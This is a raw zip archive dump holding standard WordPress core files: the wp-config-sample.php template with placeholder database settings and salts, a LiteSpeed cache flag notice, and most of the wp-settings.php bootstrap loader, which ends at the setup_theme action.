/home/crealab/.cagefs/tmp/phpSjzqtt
PK���[!���

wp-config-sample.phpnu�[���<?php
/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the installation.
 * You don't have to use the website, you can copy this file to "wp-config.php"
 * and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * Database settings
 * * Secret keys
 * * Database table prefix
 * * ABSPATH
 *
 * @link https://developer.wordpress.org/advanced-administration/wordpress/wp-config/
 *
 * @package WordPress
 */

// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'database_name_here' );

/** Database username */
define( 'DB_USER', 'username_here' );

/** Database password */
define( 'DB_PASSWORD', 'password_here' );

/** Database hostname */
define( 'DB_HOST', 'localhost' );

/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );

/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

/**#@+
 * Authentication unique keys and salts.
 *
 * Change these to different unique phrases! You can generate these using
 * the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}.
 *
 * You can change these at any point in time to invalidate all existing cookies.
 * This will force all users to have to log in again.
 *
 * @since 2.6.0
 */
define( 'AUTH_KEY',         'put your unique phrase here' );
define( 'SECURE_AUTH_KEY',  'put your unique phrase here' );
define( 'LOGGED_IN_KEY',    'put your unique phrase here' );
define( 'NONCE_KEY',        'put your unique phrase here' );
define( 'AUTH_SALT',        'put your unique phrase here' );
define( 'SECURE_AUTH_SALT', 'put your unique phrase here' );
define( 'LOGGED_IN_SALT',   'put your unique phrase here' );
define( 'NONCE_SALT',       'put your unique phrase here' );

/**#@-*/

/**
 * WordPress database table prefix.
 *
 * You can have multiple installations in one database if you give each
 * a unique prefix. Only numbers, letters, and underscores please!
 *
 * At the installation time, database tables are created with the specified prefix.
 * Changing this value after WordPress is installed will make your site think
 * it has not been installed.
 *
 * @link https://developer.wordpress.org/advanced-administration/wordpress/wp-config/#table-prefix
 */
$table_prefix = 'wp_';

/**
 * For developers: WordPress debugging mode.
 *
 * Change this to true to enable the display of notices during development.
 * It is strongly recommended that plugin and theme developers use WP_DEBUG
 * in their development environments.
 *
 * For information on other constants that can be used for debugging,
 * visit the documentation.
 *
 * @link https://developer.wordpress.org/advanced-administration/debug/debug-wordpress/
 */
define( 'WP_DEBUG', false );

/* Add any custom values between this line and the "stop editing" line. */



/* That's all, stop editing! Happy publishing. */

/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
	define( 'ABSPATH', __DIR__ . '/' );
}

/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';
PK���[���)).litespeed_flagnu�[���This file was created by LiteSpeed Web Cache Manager

When this file exists, your LiteSpeed Cache plugin for WordPress will NOT be affected
by Mass Enable/Disable operations performed through LiteSpeed Web Cache Manager.

Please DO NOT ATTEMPT to remove this file unless you understand the above.
PK���[�-N�OyOywp-settings.phpnu�[���<?php
/**
 * Used to set up and fix common variables and include
 * the WordPress procedural and class library.
 *
 * Allows for some configuration in wp-config.php (see default-constants.php)
 *
 * @package WordPress
 */

/**
 * Stores the location of the WordPress directory of functions, classes, and core content.
 *
 * @since 1.0.0
 */
define( 'WPINC', 'wp-includes' );

/**
 * Version information for the current WordPress release.
 *
 * These can't be directly globalized in version.php. When updating,
 * include version.php from another installation and don't override
 * these values if already set.
 *
 * @global string   $wp_version              The WordPress version string.
 * @global int      $wp_db_version           WordPress database version.
 * @global string   $tinymce_version         TinyMCE version.
 * @global string   $required_php_version    The minimum required PHP version string.
 * @global string[] $required_php_extensions The names of required PHP extensions.
 * @global string   $required_mysql_version  The minimum required MySQL version string.
 * @global string   $wp_local_package        Locale code of the package.
 */
global $wp_version, $wp_db_version, $tinymce_version, $required_php_version, $required_php_extensions, $required_mysql_version, $wp_local_package;
require ABSPATH . WPINC . '/version.php';
require ABSPATH . WPINC . '/compat-utf8.php';
require ABSPATH . WPINC . '/compat.php';
require ABSPATH . WPINC . '/load.php';

// Check the server requirements.
wp_check_php_mysql_versions();

// Include files required for initialization.
require ABSPATH . WPINC . '/class-wp-paused-extensions-storage.php';
require ABSPATH . WPINC . '/class-wp-exception.php';
require ABSPATH . WPINC . '/class-wp-fatal-error-handler.php';
require ABSPATH . WPINC . '/class-wp-recovery-mode-cookie-service.php';
require ABSPATH . WPINC . '/class-wp-recovery-mode-key-service.php';
require ABSPATH . WPINC . '/class-wp-recovery-mode-link-service.php';
require ABSPATH . WPINC . '/class-wp-recovery-mode-email-service.php';
require ABSPATH . WPINC . '/class-wp-recovery-mode.php';
require ABSPATH . WPINC . '/error-protection.php';
require ABSPATH . WPINC . '/default-constants.php';
require_once ABSPATH . WPINC . '/plugin.php';

/**
 * If not already configured, `$blog_id` will default to 1 in a single site
 * configuration. In multisite, it will be overridden by default in ms-settings.php.
 *
 * @since 2.0.0
 *
 * @global int $blog_id
 */
global $blog_id;

// Set initial default constants including WP_MEMORY_LIMIT, WP_MAX_MEMORY_LIMIT, WP_DEBUG, SCRIPT_DEBUG, WP_CONTENT_DIR and WP_CACHE.
wp_initial_constants();

// Register the shutdown handler for fatal errors as soon as possible.
wp_register_fatal_error_handler();

// WordPress calculates offsets from UTC.
// phpcs:ignore WordPress.DateTime.RestrictedFunctions.timezone_change_date_default_timezone_set
date_default_timezone_set( 'UTC' );

// Standardize $_SERVER variables across setups.
wp_fix_server_vars();

// Check if the site is in maintenance mode.
wp_maintenance();

// Start loading timer.
timer_start();

// Check if WP_DEBUG mode is enabled.
wp_debug_mode();

/**
 * Filters whether to enable loading of the advanced-cache.php drop-in.
 *
 * This filter runs before it can be used by plugins. It is designed for non-web
 * run-times. If false is returned, advanced-cache.php will never be loaded.
 *
 * @since 4.6.0
 *
 * @param bool $enable_advanced_cache Whether to enable loading advanced-cache.php (if present).
 *                                    Default true.
 */
if ( WP_CACHE && apply_filters( 'enable_loading_advanced_cache_dropin', true ) && file_exists( WP_CONTENT_DIR . '/advanced-cache.php' ) ) {
	// For an advanced caching plugin to use. Uses a static drop-in because you would only want one.
	include WP_CONTENT_DIR . '/advanced-cache.php';

	// Re-initialize any hooks added manually by advanced-cache.php.
	if ( $wp_filter ) {
		$wp_filter = WP_Hook::build_preinitialized_hooks( $wp_filter );
	}
}

// Define WP_LANG_DIR if not set.
wp_set_lang_dir();

// Load early WordPress files.
require ABSPATH . WPINC . '/class-wp-list-util.php';
require ABSPATH . WPINC . '/class-wp-token-map.php';
require ABSPATH . WPINC . '/utf8.php';
require ABSPATH . WPINC . '/formatting.php';
require ABSPATH . WPINC . '/meta.php';
require ABSPATH . WPINC . '/functions.php';
require ABSPATH . WPINC . '/class-wp-meta-query.php';
require ABSPATH . WPINC . '/class-wp-matchesmapregex.php';
require ABSPATH . WPINC . '/class-wp.php';
require ABSPATH . WPINC . '/class-wp-error.php';
require ABSPATH . WPINC . '/pomo/mo.php';
require ABSPATH . WPINC . '/l10n/class-wp-translation-controller.php';
require ABSPATH . WPINC . '/l10n/class-wp-translations.php';
require ABSPATH . WPINC . '/l10n/class-wp-translation-file.php';
require ABSPATH . WPINC . '/l10n/class-wp-translation-file-mo.php';
require ABSPATH . WPINC . '/l10n/class-wp-translation-file-php.php';

/**
 * @since 0.71
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 */
global $wpdb;
// Include the wpdb class and, if present, a db.php database drop-in.
require_wp_db();

/**
 * @since 3.3.0
 *
 * @global string $table_prefix The database table prefix.
 */
$GLOBALS['table_prefix'] = $table_prefix;

// Set the database table prefix and the format specifiers for database table columns.
wp_set_wpdb_vars();

// Start the WordPress object cache, or an external object cache if the drop-in is present.
wp_start_object_cache();

// Attach the default filters.
require ABSPATH . WPINC . '/default-filters.php';

// Initialize multisite if enabled.
if ( is_multisite() ) {
	require ABSPATH . WPINC . '/class-wp-site-query.php';
	require ABSPATH . WPINC . '/class-wp-network-query.php';
	require ABSPATH . WPINC . '/ms-blogs.php';
	require ABSPATH . WPINC . '/ms-settings.php';
} elseif ( ! defined( 'MULTISITE' ) ) {
	define( 'MULTISITE', false );
}

register_shutdown_function( 'shutdown_action_hook' );

// Stop most of WordPress from being loaded if SHORTINIT is enabled.
if ( SHORTINIT ) {
	return false;
}

// Load the L10n library.
require_once ABSPATH . WPINC . '/l10n.php';
require_once ABSPATH . WPINC . '/class-wp-textdomain-registry.php';
require_once ABSPATH . WPINC . '/class-wp-locale.php';
require_once ABSPATH . WPINC . '/class-wp-locale-switcher.php';

// Run the installer if WordPress is not installed.
wp_not_installed();

// Load most of WordPress.
require ABSPATH . WPINC . '/class-wp-walker.php';
require ABSPATH . WPINC . '/class-wp-ajax-response.php';
require ABSPATH . WPINC . '/capabilities.php';
require ABSPATH . WPINC . '/class-wp-roles.php';
require ABSPATH . WPINC . '/class-wp-role.php';
require ABSPATH . WPINC . '/class-wp-user.php';
require ABSPATH . WPINC . '/class-wp-query.php';
require ABSPATH . WPINC . '/query.php';
require ABSPATH . WPINC . '/class-wp-date-query.php';
require ABSPATH . WPINC . '/theme.php';
require ABSPATH . WPINC . '/class-wp-theme.php';
require ABSPATH . WPINC . '/class-wp-theme-json-schema.php';
require ABSPATH . WPINC . '/class-wp-theme-json-data.php';
require ABSPATH . WPINC . '/class-wp-theme-json.php';
require ABSPATH . WPINC . '/class-wp-theme-json-resolver.php';
require ABSPATH . WPINC . '/class-wp-duotone.php';
require ABSPATH . WPINC . '/global-styles-and-settings.php';
require ABSPATH . WPINC . '/class-wp-block-template.php';
require ABSPATH . WPINC . '/class-wp-block-templates-registry.php';
require ABSPATH . WPINC . '/block-template-utils.php';
require ABSPATH . WPINC . '/block-template.php';
require ABSPATH . WPINC . '/theme-templates.php';
require ABSPATH . WPINC . '/theme-previews.php';
require ABSPATH . WPINC . '/template.php';
require ABSPATH . WPINC . '/https-detection.php';
require ABSPATH . WPINC . '/https-migration.php';
require ABSPATH . WPINC . '/class-wp-user-request.php';
require ABSPATH . WPINC . '/user.php';
require ABSPATH . WPINC . '/class-wp-user-query.php';
require ABSPATH . WPINC . '/class-wp-session-tokens.php';
require ABSPATH . WPINC . '/class-wp-user-meta-session-tokens.php';
require ABSPATH . WPINC . '/general-template.php';
require ABSPATH . WPINC . '/link-template.php';
require ABSPATH . WPINC . '/author-template.php';
require ABSPATH . WPINC . '/robots-template.php';
require ABSPATH . WPINC . '/post.php';
require ABSPATH . WPINC . '/class-walker-page.php';
require ABSPATH . WPINC . '/class-walker-page-dropdown.php';
require ABSPATH . WPINC . '/class-wp-post-type.php';
require ABSPATH . WPINC . '/class-wp-post.php';
require ABSPATH . WPINC . '/post-template.php';
require ABSPATH . WPINC . '/revision.php';
require ABSPATH . WPINC . '/post-formats.php';
require ABSPATH . WPINC . '/post-thumbnail-template.php';
require ABSPATH . WPINC . '/category.php';
require ABSPATH . WPINC . '/class-walker-category.php';
require ABSPATH . WPINC . '/class-walker-category-dropdown.php';
require ABSPATH . WPINC . '/category-template.php';
require ABSPATH . WPINC . '/comment.php';
require ABSPATH . WPINC . '/class-wp-comment.php';
require ABSPATH . WPINC . '/class-wp-comment-query.php';
require ABSPATH . WPINC . '/class-walker-comment.php';
require ABSPATH . WPINC . '/comment-template.php';
require ABSPATH . WPINC . '/rewrite.php';
require ABSPATH . WPINC . '/class-wp-rewrite.php';
require ABSPATH . WPINC . '/feed.php';
require ABSPATH . WPINC . '/bookmark.php';
require ABSPATH . WPINC . '/bookmark-template.php';
require ABSPATH . WPINC . '/kses.php';
require ABSPATH . WPINC . '/cron.php';
require ABSPATH . WPINC . '/deprecated.php';
require ABSPATH . WPINC . '/script-loader.php';
require ABSPATH . WPINC . '/taxonomy.php';
require ABSPATH . WPINC . '/class-wp-taxonomy.php';
require ABSPATH . WPINC . '/class-wp-term.php';
require ABSPATH . WPINC . '/class-wp-term-query.php';
require ABSPATH . WPINC . '/class-wp-tax-query.php';
require ABSPATH . WPINC . '/update.php';
require ABSPATH . WPINC . '/canonical.php';
require ABSPATH . WPINC . '/shortcodes.php';
require ABSPATH . WPINC . '/embed.php';
require ABSPATH . WPINC . '/class-wp-embed.php';
require ABSPATH . WPINC . '/class-wp-oembed.php';
require ABSPATH . WPINC . '/class-wp-oembed-controller.php';
require ABSPATH . WPINC . '/media.php';
require ABSPATH . WPINC . '/http.php';
require ABSPATH . WPINC . '/html-api/html5-named-character-references.php';
require ABSPATH . WPINC . '/html-api/class-wp-html-attribute-token.php';
require ABSPATH . WPINC . '/html-api/class-wp-html-span.php';
require ABSPATH . WPINC . '/html-api/class-wp-html-doctype-info.php';
require ABSPATH . WPINC . '/html-api/class-wp-html-text-replacement.php';
require ABSPATH . WPINC . '/html-api/class-wp-html-decoder.php';
require ABSPATH . WPINC . '/html-api/class-wp-html-tag-processor.php';
require ABSPATH . WPINC . '/html-api/class-wp-html-unsupported-exception.php';
require ABSPATH . WPINC . '/html-api/class-wp-html-active-formatting-elements.php';
require ABSPATH . WPINC . '/html-api/class-wp-html-open-elements.php';
require ABSPATH . WPINC . '/html-api/class-wp-html-token.php';
require ABSPATH . WPINC . '/html-api/class-wp-html-stack-event.php';
require ABSPATH . WPINC . '/html-api/class-wp-html-processor-state.php';
require ABSPATH . WPINC . '/html-api/class-wp-html-processor.php';
require ABSPATH . WPINC . '/class-wp-block-processor.php';
require ABSPATH . WPINC . '/class-wp-http.php';
require ABSPATH . WPINC . '/class-wp-http-streams.php';
require ABSPATH . WPINC . '/class-wp-http-curl.php';
require ABSPATH . WPINC . '/class-wp-http-proxy.php';
require ABSPATH . WPINC . '/class-wp-http-cookie.php';
require ABSPATH . WPINC . '/class-wp-http-encoding.php';
require ABSPATH . WPINC . '/class-wp-http-response.php';
require ABSPATH . WPINC . '/class-wp-http-requests-response.php';
require ABSPATH . WPINC . '/class-wp-http-requests-hooks.php';
require ABSPATH . WPINC . '/widgets.php';
require ABSPATH . WPINC . '/class-wp-widget.php';
require ABSPATH . WPINC . '/class-wp-widget-factory.php';
require ABSPATH . WPINC . '/nav-menu-template.php';
require ABSPATH . WPINC . '/nav-menu.php';
require ABSPATH . WPINC . '/admin-bar.php';
require ABSPATH . WPINC . '/class-wp-application-passwords.php';
require ABSPATH . WPINC . '/abilities-api/class-wp-ability-category.php';
require ABSPATH . WPINC . '/abilities-api/class-wp-ability-categories-registry.php';
require ABSPATH . WPINC . '/abilities-api/class-wp-ability.php';
require ABSPATH . WPINC . '/abilities-api/class-wp-abilities-registry.php';
require ABSPATH . WPINC . '/abilities-api.php';
require ABSPATH . WPINC . '/abilities.php';
require ABSPATH . WPINC . '/rest-api.php';
require ABSPATH . WPINC . '/rest-api/class-wp-rest-server.php';
require ABSPATH . WPINC . '/rest-api/class-wp-rest-response.php';
require ABSPATH . WPINC . '/rest-api/class-wp-rest-request.php';
require ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-controller.php';
require ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-posts-controller.php';
require ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-attachments-controller.php';
require ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-global-styles-controller.php';
require ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-post-types-controller.php';
require ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-post-statuses-controller.php';
require ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-revisions-controller.php';
require ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-global-styles-revisions-controller.php';
require ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-template-revisions-controller.php';
require ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-autosaves-controller.php';
require ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-template-autosaves-controller.php';
require ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-taxonomies-controller.php';
require ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-terms-controller.php';
require ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-menu-items-controller.php';
require ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-menus-controller.php';
require ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-menu-locations-controller.php';
require ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-users-controller.php';
require ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-comments-controller.php';
require ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-search-controller.php';
require ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-blocks-controller.php';
require ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-block-types-controller.php';
require ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-block-renderer-controller.php';
require ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-settings-controller.php';
require ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-themes-controller.php';
require ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-plugins-controller.php';
require ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-block-directory-controller.php';
require ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-edit-site-export-controller.php';
require ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-pattern-directory-controller.php';
require ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-block-patterns-controller.php';
require ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-block-pattern-categories-controller.php';
require ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-application-passwords-controller.php';
require ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-site-health-controller.php';
require ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-sidebars-controller.php';
require ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-widget-types-controller.php';
require ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-widgets-controller.php';
require ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-templates-controller.php';
require ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-url-details-controller.php';
require ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-navigation-fallback-controller.php';
require ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-font-families-controller.php';
require ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-font-faces-controller.php';
require ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-font-collections-controller.php';
require ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-abilities-v1-categories-controller.php';
require ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-abilities-v1-list-controller.php';
require ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-abilities-v1-run-controller.php';
require ABSPATH . WPINC . '/rest-api/fields/class-wp-rest-meta-fields.php';
require ABSPATH . WPINC . '/rest-api/fields/class-wp-rest-comment-meta-fields.php';
require ABSPATH . WPINC . '/rest-api/fields/class-wp-rest-post-meta-fields.php';
require ABSPATH . WPINC . '/rest-api/fields/class-wp-rest-term-meta-fields.php';
require ABSPATH . WPINC . '/rest-api/fields/class-wp-rest-user-meta-fields.php';
require ABSPATH . WPINC . '/rest-api/search/class-wp-rest-search-handler.php';
require ABSPATH . WPINC . '/rest-api/search/class-wp-rest-post-search-handler.php';
require ABSPATH . WPINC . '/rest-api/search/class-wp-rest-term-search-handler.php';
require ABSPATH . WPINC . '/rest-api/search/class-wp-rest-post-format-search-handler.php';
require ABSPATH . WPINC . '/sitemaps.php';
require ABSPATH . WPINC . '/sitemaps/class-wp-sitemaps.php';
require ABSPATH . WPINC . '/sitemaps/class-wp-sitemaps-index.php';
require ABSPATH . WPINC . '/sitemaps/class-wp-sitemaps-provider.php';
require ABSPATH . WPINC . '/sitemaps/class-wp-sitemaps-registry.php';
require ABSPATH . WPINC . '/sitemaps/class-wp-sitemaps-renderer.php';
require ABSPATH . WPINC . '/sitemaps/class-wp-sitemaps-stylesheet.php';
require ABSPATH . WPINC . '/sitemaps/providers/class-wp-sitemaps-posts.php';
require ABSPATH . WPINC . '/sitemaps/providers/class-wp-sitemaps-taxonomies.php';
require ABSPATH . WPINC . '/sitemaps/providers/class-wp-sitemaps-users.php';
require ABSPATH . WPINC . '/class-wp-block-bindings-source.php';
require ABSPATH . WPINC . '/class-wp-block-bindings-registry.php';
require ABSPATH . WPINC . '/class-wp-block-editor-context.php';
require ABSPATH . WPINC . '/class-wp-block-type.php';
require ABSPATH . WPINC . '/class-wp-block-pattern-categories-registry.php';
require ABSPATH . WPINC . '/class-wp-block-patterns-registry.php';
require ABSPATH . WPINC . '/class-wp-block-styles-registry.php';
require ABSPATH . WPINC . '/class-wp-block-type-registry.php';
require ABSPATH . WPINC . '/class-wp-block.php';
require ABSPATH . WPINC . '/class-wp-block-list.php';
require ABSPATH . WPINC . '/class-wp-block-metadata-registry.php';
require ABSPATH . WPINC . '/class-wp-block-parser-block.php';
require ABSPATH . WPINC . '/class-wp-block-parser-frame.php';
require ABSPATH . WPINC . '/class-wp-block-parser.php';
require ABSPATH . WPINC . '/class-wp-classic-to-block-menu-converter.php';
require ABSPATH . WPINC . '/class-wp-navigation-fallback.php';
require ABSPATH . WPINC . '/block-bindings.php';
require ABSPATH . WPINC . '/block-bindings/pattern-overrides.php';
require ABSPATH . WPINC . '/block-bindings/post-data.php';
require ABSPATH . WPINC . '/block-bindings/post-meta.php';
require ABSPATH . WPINC . '/block-bindings/term-data.php';
require ABSPATH . WPINC . '/blocks.php';
require ABSPATH . WPINC . '/blocks/index.php';
require ABSPATH . WPINC . '/block-editor.php';
require ABSPATH . WPINC . '/block-patterns.php';
require ABSPATH . WPINC . '/class-wp-block-supports.php';
require ABSPATH . WPINC . '/block-supports/utils.php';
require ABSPATH . WPINC . '/block-supports/align.php';
require ABSPATH . WPINC . '/block-supports/custom-classname.php';
require ABSPATH . WPINC . '/block-supports/generated-classname.php';
require ABSPATH . WPINC . '/block-supports/settings.php';
require ABSPATH . WPINC . '/block-supports/elements.php';
require ABSPATH . WPINC . '/block-supports/colors.php';
require ABSPATH . WPINC . '/block-supports/typography.php';
require ABSPATH . WPINC . '/block-supports/border.php';
require ABSPATH . WPINC . '/block-supports/layout.php';
require ABSPATH . WPINC . '/block-supports/position.php';
require ABSPATH . WPINC . '/block-supports/spacing.php';
require ABSPATH . WPINC . '/block-supports/dimensions.php';
require ABSPATH . WPINC . '/block-supports/duotone.php';
require ABSPATH . WPINC . '/block-supports/shadow.php';
require ABSPATH . WPINC . '/block-supports/background.php';
require ABSPATH . WPINC . '/block-supports/block-style-variations.php';
require ABSPATH . WPINC . '/block-supports/aria-label.php';
require ABSPATH . WPINC . '/block-supports/block-visibility.php';
require ABSPATH . WPINC . '/style-engine.php';
require ABSPATH . WPINC . '/style-engine/class-wp-style-engine.php';
require ABSPATH . WPINC . '/style-engine/class-wp-style-engine-css-declarations.php';
require ABSPATH . WPINC . '/style-engine/class-wp-style-engine-css-rule.php';
require ABSPATH . WPINC . '/style-engine/class-wp-style-engine-css-rules-store.php';
require ABSPATH . WPINC . '/style-engine/class-wp-style-engine-processor.php';
require ABSPATH . WPINC . '/fonts/class-wp-font-face-resolver.php';
require ABSPATH . WPINC . '/fonts/class-wp-font-collection.php';
require ABSPATH . WPINC . '/fonts/class-wp-font-face.php';
require ABSPATH . WPINC . '/fonts/class-wp-font-library.php';
require ABSPATH . WPINC . '/fonts/class-wp-font-utils.php';
require ABSPATH . WPINC . '/fonts.php';
require ABSPATH . WPINC . '/class-wp-script-modules.php';
require ABSPATH . WPINC . '/script-modules.php';
require ABSPATH . WPINC . '/interactivity-api/class-wp-interactivity-api.php';
require ABSPATH . WPINC . '/interactivity-api/class-wp-interactivity-api-directives-processor.php';
require ABSPATH . WPINC . '/interactivity-api/interactivity-api.php';
require ABSPATH . WPINC . '/class-wp-plugin-dependencies.php';
require ABSPATH . WPINC . '/class-wp-url-pattern-prefixer.php';
require ABSPATH . WPINC . '/class-wp-speculation-rules.php';
require ABSPATH . WPINC . '/speculative-loading.php';

add_action( 'after_setup_theme', array( wp_script_modules(), 'add_hooks' ) );
add_action( 'after_setup_theme', array( wp_interactivity(), 'add_hooks' ) );

/**
 * @since 3.3.0
 *
 * @global WP_Embed $wp_embed WordPress Embed object.
 */
$GLOBALS['wp_embed'] = new WP_Embed();

/**
 * WordPress Textdomain Registry object.
 *
 * Used to support just-in-time translations for manually loaded text domains.
 *
 * @since 6.1.0
 *
 * @global WP_Textdomain_Registry $wp_textdomain_registry WordPress Textdomain Registry.
 */
$GLOBALS['wp_textdomain_registry'] = new WP_Textdomain_Registry();
$GLOBALS['wp_textdomain_registry']->init();

// Load multisite-specific files.
if ( is_multisite() ) {
	require ABSPATH . WPINC . '/ms-functions.php';
	require ABSPATH . WPINC . '/ms-default-filters.php';
	require ABSPATH . WPINC . '/ms-deprecated.php';
}

// Define constants that rely on the API to obtain the default value.
// Define must-use plugin directory constants, which may be overridden in the sunrise.php drop-in.
wp_plugin_directory_constants();

/**
 * @since 3.9.0
 *
 * @global array $wp_plugin_paths
 */
$GLOBALS['wp_plugin_paths'] = array();

// Load must-use plugins.
foreach ( wp_get_mu_plugins() as $mu_plugin ) {
	$_wp_plugin_file = $mu_plugin;
	include_once $mu_plugin;
	$mu_plugin = $_wp_plugin_file; // Avoid stomping of the $mu_plugin variable in a plugin.

	/**
	 * Fires once a single must-use plugin has loaded.
	 *
	 * @since 5.1.0
	 *
	 * @param string $mu_plugin Full path to the plugin's main file.
	 */
	do_action( 'mu_plugin_loaded', $mu_plugin );
}
unset( $mu_plugin, $_wp_plugin_file );

// Load network activated plugins.
if ( is_multisite() ) {
	foreach ( wp_get_active_network_plugins() as $network_plugin ) {
		wp_register_plugin_realpath( $network_plugin );

		$_wp_plugin_file = $network_plugin;
		include_once $network_plugin;
		$network_plugin = $_wp_plugin_file; // Avoid stomping of the $network_plugin variable in a plugin.

		/**
		 * Fires once a single network-activated plugin has loaded.
		 *
		 * @since 5.1.0
		 *
		 * @param string $network_plugin Full path to the plugin's main file.
		 */
		do_action( 'network_plugin_loaded', $network_plugin );
	}
	unset( $network_plugin, $_wp_plugin_file );
}

/**
 * Fires once all must-use and network-activated plugins have loaded.
 *
 * @since 2.8.0
 */
do_action( 'muplugins_loaded' );

if ( is_multisite() ) {
	ms_cookie_constants();
}

// Define constants after multisite is loaded.
wp_cookie_constants();

// Define and enforce our SSL constants.
wp_ssl_constants();

// Create common globals.
require ABSPATH . WPINC . '/vars.php';

// Make taxonomies and posts available to plugins and themes.
// @plugin authors: warning: these get registered again on the init hook.
create_initial_taxonomies();
create_initial_post_types();

wp_start_scraping_edited_file_errors();

// Register the default theme directory root.
register_theme_directory( get_theme_root() );

if ( ! is_multisite() && wp_is_fatal_error_handler_enabled() ) {
	// Handle users requesting a recovery mode link and initiating recovery mode.
	wp_recovery_mode()->initialize();
}

// To make get_plugin_data() available in a way that's compatible with plugins also loading this file, see #62244.
require_once ABSPATH . 'wp-admin/includes/plugin.php';

// Load active plugins.
foreach ( wp_get_active_and_valid_plugins() as $plugin ) {
	wp_register_plugin_realpath( $plugin );

	$plugin_data = get_plugin_data( $plugin, false, false );

	$textdomain = $plugin_data['TextDomain'];
	if ( $textdomain ) {
		if ( $plugin_data['DomainPath'] ) {
			$GLOBALS['wp_textdomain_registry']->set_custom_path( $textdomain, dirname( $plugin ) . $plugin_data['DomainPath'] );
		} else {
			$GLOBALS['wp_textdomain_registry']->set_custom_path( $textdomain, dirname( $plugin ) );
		}
	}

	$_wp_plugin_file = $plugin;
	include_once $plugin;
	$plugin = $_wp_plugin_file; // Avoid stomping of the $plugin variable in a plugin.

	/**
	 * Fires once a single activated plugin has loaded.
	 *
	 * @since 5.1.0
	 *
	 * @param string $plugin Full path to the plugin's main file.
	 */
	do_action( 'plugin_loaded', $plugin );
}
unset( $plugin, $_wp_plugin_file, $plugin_data, $textdomain );

// Load pluggable functions.
require ABSPATH . WPINC . '/pluggable.php';
require ABSPATH . WPINC . '/pluggable-deprecated.php';

// Set internal encoding.
wp_set_internal_encoding();

// Run wp_cache_postload() if object cache is enabled and the function exists.
if ( WP_CACHE && function_exists( 'wp_cache_postload' ) ) {
	wp_cache_postload();
}

/**
 * Fires once activated plugins have loaded.
 *
 * Pluggable functions are also available at this point in the loading order.
 *
 * @since 1.5.0
 */
do_action( 'plugins_loaded' );

// Define constants which affect functionality if not already defined.
wp_functionality_constants();

// Add magic quotes and set up $_REQUEST ( $_GET + $_POST ).
wp_magic_quotes();

/**
 * Fires when comment cookies are sanitized.
 *
 * @since 2.0.11
 */
do_action( 'sanitize_comment_cookies' );

/**
 * WordPress Query object
 *
 * @since 2.0.0
 *
 * @global WP_Query $wp_the_query WordPress Query object.
 */
$GLOBALS['wp_the_query'] = new WP_Query();

/**
 * Holds the reference to {@see $wp_the_query}.
 * Use this global for WordPress queries
 *
 * @since 1.5.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 */
$GLOBALS['wp_query'] = $GLOBALS['wp_the_query'];

/**
 * Holds the WordPress Rewrite object for creating pretty URLs
 *
 * @since 1.5.0
 *
 * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
 */
$GLOBALS['wp_rewrite'] = new WP_Rewrite();

/**
 * WordPress Object
 *
 * @since 2.0.0
 *
 * @global WP $wp Current WordPress environment instance.
 */
$GLOBALS['wp'] = new WP();

/**
 * WordPress Widget Factory Object
 *
 * @since 2.8.0
 *
 * @global WP_Widget_Factory $wp_widget_factory
 */
$GLOBALS['wp_widget_factory'] = new WP_Widget_Factory();

/**
 * WordPress User Roles
 *
 * @since 2.0.0
 *
 * @global WP_Roles $wp_roles WordPress role management object.
 */
$GLOBALS['wp_roles'] = new WP_Roles();

/**
 * Fires before the theme is loaded.
 *
 * @since 2.6.0
 */
do_action( 'setup_theme' );

